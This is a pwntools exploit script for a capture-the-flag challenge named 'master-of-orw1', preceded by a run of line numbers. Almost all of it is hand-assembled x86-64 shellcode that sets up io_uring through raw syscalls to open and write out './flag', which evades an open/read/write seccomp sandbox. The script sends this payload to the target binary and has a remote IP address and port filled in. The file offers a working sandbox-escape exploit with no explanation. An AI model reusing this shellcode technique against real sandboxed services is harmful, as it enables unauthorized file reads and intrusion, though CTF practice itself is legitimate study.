1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308
| from pwn import *
arch = 64 challenge = './master-of-orw1'
context.os='linux'
if arch==64: context.arch='amd64' if arch==32: context.arch='i386'
elf = ELF(challenge)
rl = lambda a=False : p.recvline(a) ru = lambda a,b=True : p.recvuntil(a,b) rn = lambda x : p.recvn(x) sn = lambda x : p.send(x) sl = lambda x : p.sendline(x) sa = lambda a,b : p.sendafter(a,b) sla = lambda a,b : p.sendlineafter(a,b) irt = lambda : p.interactive() dbg = lambda text=None : gdb.attach(p, text)
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s))) uu32 = lambda data : u32(data.ljust(4, b'x00')) uu64 = lambda data : u64(data.ljust(8, b'x00'))
b = "set debug-file-directory ./.debug/\n"
local = 1 if local: p = process(challenge) else: p = remote('119.13.105.35','10111') def debug(): gdb.attach(p,"b *$rebase(0x15BD)\n") pause() def cmd(op): sla(">",str(op))
code = """ lea rax,[rip+0x3f9-7] xor edx,edx push 0x1 pop rdi movq xmm2,rax sub rsp,0x108 lea rbx,[rsp+0x20] lea rbp,[rsp+0x40] movq xmm0,rbx push rbp pop rsi lea r12,[rsp+0x18] punpcklqdq xmm0,xmm2 movaps XMMWORD PTR [rsp],xmm0 sub rsp,0x88 mov r8,rdi xor eax,eax mov rdx,rsp mov rdi,r8 push r12 push rbp mov rbp,rdx push rbx mov rbx,rsi mov rsi,rdx sub rsp,0x10 mov esi,edi mov rdi,0x1a9 call syscall_func
pop r15 lea rdi,[rbx+0x8] mov r12d,eax and rdi,0xfffffffffffffff8 mov QWORD PTR [rbx],0x0 mov rdx,rbx mov QWORD PTR [rbx+0xd0],0x0 lea rcx,[rbx+0x68] mov edi,r12d mov r13d,edi push r12 mov r12,rcx push rbp mov rbp,rdx push rbx mov rbx,rsi push r15 mov edx,DWORD PTR [rsi] mov eax,DWORD PTR [rsi+0x40] mov esi,DWORD PTR [rsi+0x4] lea rax,[rax+rdx*4] mov edx,DWORD PTR [rbx+0x64] shl rsi,0x4 mov QWORD PTR [rbp+0x48],rax add rsi,rdx mov QWORD PTR [rcx+0x38],rsi mov rsi,QWORD PTR [rbp+0x48] mov QWORD PTR [r12+0x38],rsi mov r8d,r13d push 0x8001 pop rcx push 0x3 pop rdx xor edi,edi call mmap64_func
mov QWORD PTR [rbp+0x50],rax mov QWORD PTR [r12+0x40],rax mov edx,DWORD PTR [rbx+0x28] mov esi,DWORD PTR [rbx] mov r9d,0x10000000 mov r8d,r13d push 0x8001 pop rcx shl rsi,0x6 push 0 pop r15 loop1: add rdx,rax mov QWORD PTR [rbp+r15*8],rdx mov edx,DWORD PTR [rbx+0x2c+r15*4] inc r15 cmp r15, 6 jnz loop1 add rax,rdx mov rdx,3 mov QWORD PTR [rbp+0x30],rax call mmap64_func
mov QWORD PTR [rbp+0x38],rax mov edx,DWORD PTR [rbx+0x50] mov rax,QWORD PTR [r12+0x40] mov r15,0 loop2: add rdx,rax mov QWORD PTR [r12+r15*8],rdx mov edx,DWORD PTR [rbx+0x54+r15*4] inc r15 cmp r15, 4 jnz loop2 add rdx,rax mov QWORD PTR [r12+0x28],rdx mov edx,DWORD PTR [rbx+0x64] add rdx,rax mov QWORD PTR [r12+0x30],rdx mov edx,DWORD PTR [rbx+0x68] add rax,rdx mov QWORD PTR [r12+0x20],rax pop r15 pop rbx pop rbp pop r12 mov r13d,eax mov eax,DWORD PTR [rbp+0x8] mov DWORD PTR [rbx+0xc4],r12d mov DWORD PTR [rbx+0xc0],eax mov eax,DWORD PTR [rbp+0x14] mov DWORD PTR [rbx+0xc8],eax pop r15 pop rbx pop rbp pop r12 add rsp,0x88 mov rdi,rbp call io_uring_get_sqe_func
mov BYTE PTR [rax],0x12 mov WORD PTR [rax+1],0 mov DWORD PTR [rax+4],0xffffff9c mov QWORD PTR [rax+0x8],0 mov rdx,[rsp+8] mov QWORD PTR [rax+0x10],rdx mov QWORD PTR [rax+0x18],0 mov QWORD PTR [rax+0x28],0x0 pxor xmm0,xmm0 movups XMMWORD PTR [rax+0x30],xmm0 call io_uring_submit_func
mov rdi,rbp call io_uring_wait_cqe
xor r9d,r9d mov rdx,0x2000 mov rdx,QWORD PTR [rsp+0xa8] mov ecx,0x2 mov esi,0x30 mov r8d,DWORD PTR [rax+0x8] mov eax,DWORD PTR [rdx] add eax,0x1 mov DWORD PTR [rdx],eax mov edx,0x3 call mmap64_func
mov r15,rax mov rdi,rbp call io_uring_get_sqe_func
mov BYTE PTR [rax],0x17 mov WORD PTR [rax+1],0 mov DWORD PTR [rax+4],1 mov QWORD PTR [rax+0x8],0 mov QWORD PTR [rax+0x10],r15 mov QWORD PTR [rax+0x18],0x30 mov QWORD PTR [rax+0x28],0x0 pxor xmm0,xmm0 movups XMMWORD PTR [rax+0x30],xmm0 call io_uring_submit_func loop3: nop jmp loop3
io_uring_get_sqe_func: mov rax,QWORD PTR [rdi] mov ecx,DWORD PTR [rax] mov eax,DWORD PTR [rdi+0x44] lea edx,[rax+0x1] mov rcx,QWORD PTR [rdi+0x10] and eax,DWORD PTR [rcx] mov DWORD PTR [rdi+0x44],edx add rax,QWORD PTR [rdi+0x38] ret
io_uring_submit_func: push r15 mov r10,QWORD PTR [rdi+0x8] mov edx,DWORD PTR [rdi+0x40] mov r8d,DWORD PTR [rdi+0x44] mov eax,DWORD PTR [r10] sub r8d,edx mov rcx,QWORD PTR [rdi+0x10] mov r9,QWORD PTR [rdi+0x30] add r8d,eax mov ecx,DWORD PTR [rcx] nop DWORD PTR [rax+0x0] mov esi,eax and edx,ecx add eax,0x1 and esi,ecx mov DWORD PTR [r9+rsi*4],edx mov edx,DWORD PTR [rdi+0x40] add edx,0x1 mov DWORD PTR [rdi+0x40],edx mov DWORD PTR [r10],eax mov rdx,QWORD PTR [rdi] sub eax,DWORD PTR [rdx] xor edx,edx mov esi,eax mov eax,DWORD PTR [rdi+0xc0] mov ecx,eax and ecx,0x2 mov r8d,ecx or r8d,0x1 test al,0x1 cmovne ecx,r8d mov edi,DWORD PTR [rdi+0xc4] mov r9,r8 mov r8d,ecx mov ecx,edx mov edx,esi mov esi,edi mov edi,0x1aa push r15 push 0x8 call syscall_func pop rdx pop rcx pop r15 ret
syscall_func: mov rax,rdi mov rdi,rsi mov rsi,rdx mov rdx,rcx mov r10,r8 mov r8,r9 mov r9,QWORD PTR [rsp+0x8] syscall ret
io_uring_wait_cqe: mov rax,QWORD PTR [rdi+0x98] ret
mmap64_func: mov r10d,ecx push 0x9 pop rax syscall ret """
shellcode = asm(code) print(hex(len(shellcode)))
sla("Input your code",shellcode + b"\x00" * (0x3f9 - len(shellcode)) + b"./flag\x00")
p.interactive()
|